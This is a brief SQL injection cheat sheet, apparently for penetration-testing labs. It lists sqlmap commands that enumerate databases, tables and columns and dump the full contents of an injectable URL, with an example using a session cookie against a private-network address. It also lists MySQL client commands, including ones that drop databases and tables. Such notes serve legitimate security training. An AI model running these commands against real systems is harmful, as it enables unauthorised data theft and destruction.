

Ultimate Cheat Sheet: SQLi Tools

sqlmap

//Enumerate DBs

```
sqlmap -u [Injectible URL] --dbs
```

//Enumerate tables in DB

```
sqlmap -u [injectible URL] -D [DBS] --tables
```

//Enumerate specific table

```
sqlmap -u [injectible url] -D [DBS] -T [tablename]
```

//Dump all DB contents

```
sqlmap -u [injectible url] --dump
```

//With cookies and post request example;

```
root@kali:~# sqlmap -u
```

```
http://192.168.57.11/supplier/save_profile.php?id=4
```

```
--method=POST --cookie=PHPSESSID=vq6uccnif58e50t8ln87bc1t35  
--dbs
```

MySQL

//Connect to a MySQL Server

```
mysql -u USERNAME -p'PASSWORD' -h [ADDR] -D DB_NAME
```

//Show databases

```
mysql> show databases;
```

//Switch to a database.

```
mysql> use [db name];
```

//To see all the tables in the db.

```
mysql> show tables;
```

//To see table's field formats.

```
mysql> describe [table name];
```

//To delete a db.

```
mysql> drop database [database name];
```

//To delete a table.

```
mysql> drop table [table name];
```

//Show all data from a table.

```
mysql> SELECT * FROM [table name];
```

//To return columns and column information.

```
mysql> show columns from [table name];
```